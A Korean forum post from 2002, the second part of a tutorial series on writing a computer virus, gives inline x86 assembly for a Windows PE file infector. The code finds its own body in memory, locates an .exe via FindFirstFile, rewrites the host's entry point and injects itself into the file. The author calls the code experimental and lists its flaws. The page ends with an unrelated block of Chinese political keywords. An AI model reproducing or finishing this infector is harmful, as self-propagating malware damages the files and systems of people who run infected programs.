개나소나 만드는 바이러스 강좌#2

조회 수 12054 추천 수 133 2002.04.22 21:34:59
개나소나 만드는 바이러스 그 두번째

지난번에 어디까지 했었더라...원리에 대해 설명했다.

이번 장에선 구현을 해보자.

1.주의사항
  주의사항은 보통 맨 마지막에 나오기 마련이지만, 반드시 짚고 넘어가야 할 점이므로
  맨 앞에서부터 다루겠다.
  
  *혹시라도 그런 실수를 범하는 사람은 없겠지만, 바이러스 코드에서 전역변수는 쓸 수 없다.
  전역변수란게 데이타 세그먼트 기준으로 오프셋 몇..이런식으로 써야되는데 이미 그 영역
  은 숙주의 원래 코드가 사용하고 있을것이기 때문에, 혹은 내가 쓰고자 하는 만큼이 확보
  되어있지 않을수도 있다.
  따라서 이런 류의 기생하는 프로그램(스택오버플로우를 이용한 해킹도 마찬가지) 쓸 수 있
  는 메모리는 레지스터와 스택 뿐이다.
  따라서 모든 임시 변수는 스택을 사용한다.
  
  *여기 나오는 소스 코드는 정말로 정말로 구현을 위한 구현이다.범용적으로 쓰기엔 문제가
  많으니 감히 이걸갖고 변종 바이러스 만들 생각을 하는 사람은 없었으면 좋겠다.이걸 고쳐
  서 제대로된 바이러스 만드느니 새로 코딩하는게 나을것이다.
  이 바이러스의 문제점을 미리 적을테니 괜한 생각하는 사람은 없길 바란다.
  1.단 하나의 파일만 감염시킨다.
  2.이미 감염된 파일은 skip하고 다른 파일을 로드해서 감염시켜야 하지만
    다음 파일을 서치하지 않는다.이에 따른 에외상황처리는 하지 않았다.
  3.한 파일에 두번 감염시킬 경우 해당 파일은 제대로 동작하지  않는다.
  4.이미지베이스 어드레스를 .0x00400000으로 가정하였다.이와같은 베이스 어드레스를
    사용하지 않는 exe의 경우는 오동작한다.
    
  거론된 문제들은 손쉽게 고칠순 있다.하지만 꽤나 짜증나게 짜놨으니 별로 하고싶진
  않을것이다.
  남이 실험하면서 만든 바이러스 코드를 가져다가 악성바이러스로 만들 정도로 자존심
  없는 프로그래머는 없으리라 믿는다.
    
  
  
  

2.코드의 골격
  void Virus()
  {
     1.자기 자신의 코드 사이즈를 계산하고 스택에 복사해둔다.
     2.감염시킬 대상을 찾는다.
     3.감염시킬 파일의 헤더를 읽어서 코드 엔트리포인트는 스택에 저장하고
       주입시킬 바이러스 코드가 위차할 파일 옵셋을 계산해 이 위치를 코드
       엔트리 포인트로 바꿔치기한다.
     4.바이러스로서 해야할 일을 한다.(포맷,괴문자 출력,파일 삭제,셧다운 등등)
     5.저장해둔 원래 코드 엔트리 포인트로 점프한다.
  }
  
3.코드 설명.
  크게 네 부분으로 이루어져있다.실제 바이너리코드상으론 몽땅 연결되어있지만
  __asm{}절로는 네부분으로 나누었다.
  
  ***첫번째 구역
  __asm
  {
        nop
        nop
        nop
        nop
        
        nop
        nop
        nop
        nop
        
        nop
        nop
        nop
        nop
        
        nop
        nop
        nop
        nop
        
        push                ebp
        mov                        ebp,esp
        sub                esp,8800

        xor                edx,edx
        mov                dx,0xcccc
        shl                edx,16
        or                edx,0xcccc

        xor                eax,eax
        mov                ax,0x9090
        shl                eax,16
        or                eax,0x9090

        mov                esi,0x00400000

lb_search_entry:
        inc                esi
        cmp                al,byte ptr[esi]
        jnz                lb_search_entry

        xor                ecx,ecx

lb_count_nop:
        inc                ecx
        inc                esi
        cmp                al,byte ptr[esi]
        jz                lb_count_nop

        cmp                ecx,16
        jnz                lb_search_entry

lb_success_search_entry:
        sub                esi,ecx
        lea                edi,dword ptr[ebp-0x0000201c]

        xor                ecx,ecx
        ; esi는 코드의 엔트리 포인트
lb_count_bytes:        
        cmp                edx,dword ptr[esi]
        jz                lb_continue
        cmp                eax,dword ptr[esi]
        jnz                lb_not_jmpaddr
        mov                ebx,ecx
        add                ebx,5
        mov                dword ptr[ebp-0x0000001c],ebx        ; 점프할 어드레스를 끼워넣을 코드 오프셋

lb_not_jmpaddr:
        movsb                        
        inc                ecx
        jmp                lb_count_bytes

lb_continue:
        movsd
        movsb
        add                ecx,5
        mov                dword ptr[ebp-0x00000018],ecx        ; 코드 사이즈
  }
        
  주석을 일일히 달면 좋겠지만 너무 귀찮아서 주의할 부분만 짚고 넘어가겠다.
  우선 naked call을 사용한 이유를 보자.
  cdecl이나 stdcall을 사용해도 되긴 된다.근데 난 어떻게 그걸로 가능하게 하는지
  잘 모르겠다.이론상 안될 이유는 없지만.이 실행파일이 로드되고나서 최초로 실행
  되는 코드가 바로 이 코드고 이건 함수 안에 끼워진 코드가 아니다.따라서 스택프
  레임을 잡아줘야한다.헌데 스택 프레임을 잡는 코드조차도 바이러스 코드에 포함
  되므로 자지가신의 코드를 복제함에 있어서 빠져선 안된다.
  nop이 16개나 있는 이유는 바이러스 코드의 시작이 어딘지 찾기위해서인데 만약
  naked를 사용하지 않으면 컴파일러가 무조건 코드의 제일 처음에 스택프레임 잡는
  코드를 넣어버린다.내가 아무리 눈에 보이기로는 맨 앞에 nop을 왕창 때려넣어도
  스택프레임이 잡는 코드 뒤에 nop이 따라붙는다.
  nop뭉태기를 코드의 가장 앞에 넣기 위해 naked call을 사용했다.
  
  nop을 16개나 사용한 이유는 0x90909090정도는 상수로 나올수 있다고 생각해서
  확실하게 코드의 시작임을 표시하기 위해서이다.
  
  대충 코드가 돌아가는게 보이는가? 보인다면 당신은 어셈블리 코딩 하루이틀한
  사람이 아니다.절이라도 해주고 싶다.솔직히 내가 짰어도 하루이틀 지나서 다시
  보면 헷갈린다.맨 앞부터 따라가봐야한다.naked call에선 변수이름을 직접사용
  할 수 없기 때문에 ebp레지스터에 대한 오프셋으로 로컬변수 이름을 대치하는데
  진짜 헷갈린다.-_-;
  하지만 열심히 추적해보면 보일것이다.
  
  대략 코드의 흐름을 보자.
  이 실행파일 이미지의 베이스 어드레스는 0x00400000이라고 가정한다.(링크할때 바
  꿀수 있다.누누히 말해두지만 이 바이러스코드는 실험용이다.0x00400000을 베이스
  로 하지 않는 프로그램들도 얼마든지 있다.이건 pe헤더에서 읽어서 사용하는게 원
  칙이다.)
  
  베이스 어드레스부터 nop에 해당되는 0x90이 16개 연속되어있는 구역을 찾는다.
  찾았으면 다시 0xcc가 4개가 연속되어있는 구역을 찾는다.그 사이에있는 구역이
  실제 바이러스 코드이다.물론 앞에 16바이트 뒤에 4바이트도 바이러스코드로 포함
  시켜줘야 다음번 감염되고나서도 제대로 찾을 수 있다.열심히 자기 코드를 찾는
  중에 또 뭔가를 찾고있다.바이러스 코드의 엔트리 포인트를 찾은 후에는 4개의
  nop을 또다시 찾아해매고 있다.이게 뭐하는 짓인고 하니 임의로 jmp하기 위해
  아무 주소나 써둔 4바이트 영역을 찾기 위함이다.
  
  이해가 잘 안가는가? 약간의 리얼타임 코드 생성을 위해 사용한 꽁수이다.
  
  원래 코드의 엔트리 포인트는 파일마다 젝각각이므로 이걸 고정된 값으로 코딩할 순 없다.감염시키고자 하는
  파일의 헤더를 읽어서 엔트리 포인트로 점프하기 위해선
  push                엔트리포인트
  pop                eax
  jmp                eax
  이런꼴의 코드를 만들어야 하는데 문제는 엔트리포인트부분엔 상수가 들어가야 하고 상수
  를 가변적으로 넣기가 꽤나 어려워보인다.실상 정상적인 코드로는 안된다.
  따라서 push 다음의 네바이트는 바꿔치기 해야한다.어차피 코드는 스택에 저장해놓을 것
  이고 옵셋만 알면 바꿔치기 할 수 있다.바꿔치기할 코드의 옵셋을 알기 위해 push앞에다
  가 nop을 4개 깔아준것이다.이미 바이러스 코드가 시작되고 나서는 nop 4개를 쓰는건 이
  부분뿐이니므로 4개만 사용했다.그 편이 검색하기 편하니까.네번째 __asm{}구간을 보면
  이해가 될것이다.
  
  설명을 위해 네번째 구역을 먼저 보여주겠다.
  
  ***네번째 구역
  _asm
  {
        nop        nop
        nop        nop
        push        offset lb_end
        pop        edx
        
        mov        esp,ebp
        pop        ebp
        jmp        edx
        int        3
        int        3
        int        3
        int        3
lb_end:
        ret
   }
   일단 offset lb_end를 넣은 이유는 이 코드가 최초로 실행될땐 기생된 코드가 아니고
   멀쩡하게 자체 exe로 실행될 파일이므로 정상적으로 종료하게 하고 싶었기 때문이다.
   끝의 int        3 4개는 사이즈 계산을 위해 코드의 끝임을 명시해둔것이다.

   *** 세번째 구역  
   이번엔 pe파일에서 코드 엔트리 포인트와 사이즈를 읽고 엔트리 포인트는 바이러스
   코드의 엔트리 포인트로 바꿔치기하는 부분이다.
   __asm
   {

        mov        dword ptr[ebp-0x00002164],0x78652e2a
        mov        word ptr[ebp-0x00002160],0x0065
        
        lea        eax,dword ptr[ebp-0x0000215c]
        lea        edx,dword ptr[ebp-0x00002164]
        push        eax
        push        edx
        
        mov        ebx,0x77E5906D
        call        ebx //dword ptr[FindFirstFile]
        mov                        dword ptr[ebp-8],eax
        
        //        hFile = CreateFile(fndata.cFileName,
        //        GENERIC_WRITE | GENERIC_READ,
        //        FILE_SHARE_READ | FILE_SHARE_WRITE, 0,
        //        OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
        push        0
        push        8000000h
        push        3
        push        0
        push        3
        push        0C0000000h
        lea        eax,[ebp-2130h]
        push        eax
        mov        ebx,0x77E585F4
        call        ebx // CreateFile
        mov        dword ptr[ebp-4],eax
        
        
        //        ReadFile(hFile,header,sizeof(header),&len,NULL);
        push        NULL
        lea        edx,dword ptr[ebp-0x00000010]
        push        edx
        push        0x1000
        lea        edx,dword ptr[ebp-0x0000101c]
        push        edx
        push        eax
        mov        ebx,0x77E55314
        call        ebx //dword ptr[ReadFile]
        
        //        pe_header =
        //        (PE_HEADER*)((char*)((IMAGE_DOS_HEADER*)header) +
        //        ((IMAGE_DOS_HEADER*)header)->e_lfanew);
        mov        eax,dword ptr [ebp-0x00000FE0]
        lea        eax,[ebp+eax-0x0000101C]
        mov        dword ptr [ebp-0x0000000C],eax
        
        //old_entry = pe_header->opt_head.AddressOfEntryPoint;
        mov        eax,dword ptr [ebp-0x0000000C]
        mov        eax,dword ptr [eax+0x00000028]
        mov        dword ptr [ebp-0x00000014],eax
        
        // pe_header->opt_head.AddressOfEntryPoint =
        // pe_header->opt_head.SizeOfCode + 0x00001000 - code_size;
        mov        eax,dword ptr [ebp-0x0000000C]
        mov        eax,dword ptr [eax+0x0000001C]
        add        eax,0x00001000
        sub        eax,dword ptr [ebp-0x00000018]
        mov        ecx,dword ptr [ebp-0x0000000C]
        mov        dword ptr [ecx+0x00000028],eax
        
        // SetFilePointer(hFile,0,NULL,FILE_BEGIN);
        push        0
        push        0
        push        0
        push        dword ptr [ebp-4]
        mov        ebx,0x77E553E8
        call        ebx //dword ptr [SetFilePointer]
        
        // WriteFile(hFile,(LPVOID)header,sizeof(header),&len,NULL);
        push        0
        lea        eax,[ebp-0x00000010]
        push        eax
        push        0x00001000
        lea        eax,[ebp-0x0000101C]
        push        eax
        push        dword ptr [ebp-4]
        mov        ebx,0x77E5334F
        call        ebx //dword ptr [WriteFile]
        
        // SetFilePointer(
        // hFile,pe_header->opt_head.AddressOfEntryPoint,
        // NULL,FILE_BEGIN);
        
        push        0
        push        0
        mov        eax,dword ptr [ebp-0x0000000C]
        push        dword ptr [eax+0x00000028]
        push        dword ptr [ebp-4]
        mov        ebx,0x77E553E8
        call        ebx //dword ptr [SetFilePointer]
    }
    코드가 꽤나 난잡하고 별 도움이 안될거 같은 주석들이 여러개 보인다.
    처음에 이 부분은 c코드로 작성했다가 vc에서 보여주는 디스어셈블된 코드를
    참고해서 대치하다보니 그리됐다.
    
    win32의 FindFirstFile()에 *.exe라는 스트링을 인자로 주어 첫번째 exe파일
    의 이름과 핸들을 얻는다.원래 해당하는 파일이 없다면 예외처리를 해주어야
    하지만 실험적으로 만든것이라 예외처리는 생략했다.
    
    찾은 파일이름으로 파일을 연다.c런타임 함수는 전여 사용하지 않았다.msvcrt.dll
    이 로드되어있지 않다면 절대 돌아가지 않기 때문인데 msvcrt.dll이 어떤 exe
    파일을 실행할때나 로드되진 않는다.(확실친 않다.msvcrt.dll이 윈도우의 기본
    dll이 아닌건 확실한거 같다.)
    pe파일 헤더는 일단 4096바이트이므로 한번에 4096바이트를 읽어서 코드의 엔트
    리 포인트와 사이즈 부분만 일단 얻어놨다.
    간단한 계산식에 의해(주석참고) 헤더의 코드 엔트리 포인트 필드를 바이러스
    의 시작 위치로 바꿔치기하고나서 헤더를 다시 파일에 write한다.
    이제 헤더는 됐고 ,바이러스 코드를 주입하고 바이러스다운 행동을 하도록 만드
    는 일이 남았다.
    
    ***네번째 구역
    첫번째 루틴에서 필요한 자료는 다 모아놨다.바이러스 코드의 시작 주소도 알고
    점프할 어드레스를 끼워넣을 옵셋도 알고 있다.코드 사이즈도 알고 있으므로 아
    무 문제도 없다.
    
    __asm                        
    {
        lea        edi,dword ptr[ebp-0x0000201c]
        add        edi,dword ptr[ebp-0x0000001c]
        mov        eax,dword ptr[ebp-0x00000014]
        add        eax,0x00400000
        mov        dword ptr[edi],eax
        
        // WriteFile(hFile,(LPVOID)code,code_size,&len,NULL);
        push        0
        lea        eax,[ebp-0x00000010]
        push        eax
        push        dword ptr [ebp-0x00000018]
        lea        eax,[ebp-0x0000201C]
        push        eax
        push        dword ptr [ebp-4]
        mov        ebx,0x77E5334F
        call        ebx //dword ptr [WriteFile]

        // FindClose(hSearchFile);
        push        dword ptr[ebp-8]
        mov        ebx,0x77E58F5D
        call        ebx //dword ptr[FindClose]
        
        // CloseHandle(hFile);
        push        dword ptr[ebp-4]
        mov        ebx,0x77E53053
        call        ebx //dword ptr[CloseHandle]

    }
    이 부분의 소스 코드는 별로 설명할 내용도 없다.주석을 보면 그냥 이해가 될것이다.
    
    코드설명이라고 해놓고 부실하게 설명해서 아주 미안하게 생각한다.공부하는 셈 치고
    뜯어보기 바란다.아니면 "이런 쓰레기같은 코드를 바이러스 코드라고 짜놨냐...내가
    그냥 짜겠다."라고 생각하며 자기만의 코드를 작성해도 좋겠다.
    이 코드에 자부심을 느끼진 않는다.전혀.실험용으로 만든 코드이고 첫번째로 만든것
    이기 때문이다.
    
    
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
List of Articles
번호 제목 글쓴이 날짜 조회 수
3 개나소나 만드는 바이러스강좌#3 여치 2002-04-22 8777
» 개나소나 만드는 바이러스 강좌#2 여치 2002-04-22 12054
1 개나 소나 만드는 바이러스 강좌 #! 여치 2002-04-22 7058



XE Login

天安門大屠殺 六四天安門事件 反右派鬥爭 大躍進政策 文化大革命 六四天安門事件 The Tiananmen Square protests of 1989 天安門大屠殺 The Tiananmen Square Massacre 反右派鬥爭 The Anti-Rightist Struggle 大躍進政策 The Great Leap Forward 文化大革命 The Great Proletarian Cultural Revolution 人權 Human Rights 民運 Democratization 自由 Freedom 獨立 Independence 多黨制 Multi-party system 民主 言論 思想 反共 反革命 抗議 運動 騷亂 暴亂 騷擾 擾亂 抗暴 平反 維權 示威游行 法輪功 Falun Dafa 李洪志 法輪大法 大法弟子 強制斷種 強制堕胎 民族淨化 人體實驗 胡耀邦 趙紫陽 魏京生 王丹 還政於民 和平演變 激流中國 北京之春 大紀元時報 九評論共産黨 獨裁 專制 壓制 統一 監視 鎮壓 迫害 侵略 掠奪 破壞 拷問 屠殺 肅清 活摘器官 障テ社會 誘拐 買賣人口 遊進 走私 毒品 賣淫 春畫 賭博 六合彩 台灣 臺灣 Taiwan Formosa 中華民國 Republic of China 西藏 土伯特 唐古特 Tibet 達償ワ喇嘛 Dalai Lama 新疆維吾爾自治區 The Xinjiang Uyghur Autonomous Region free tibet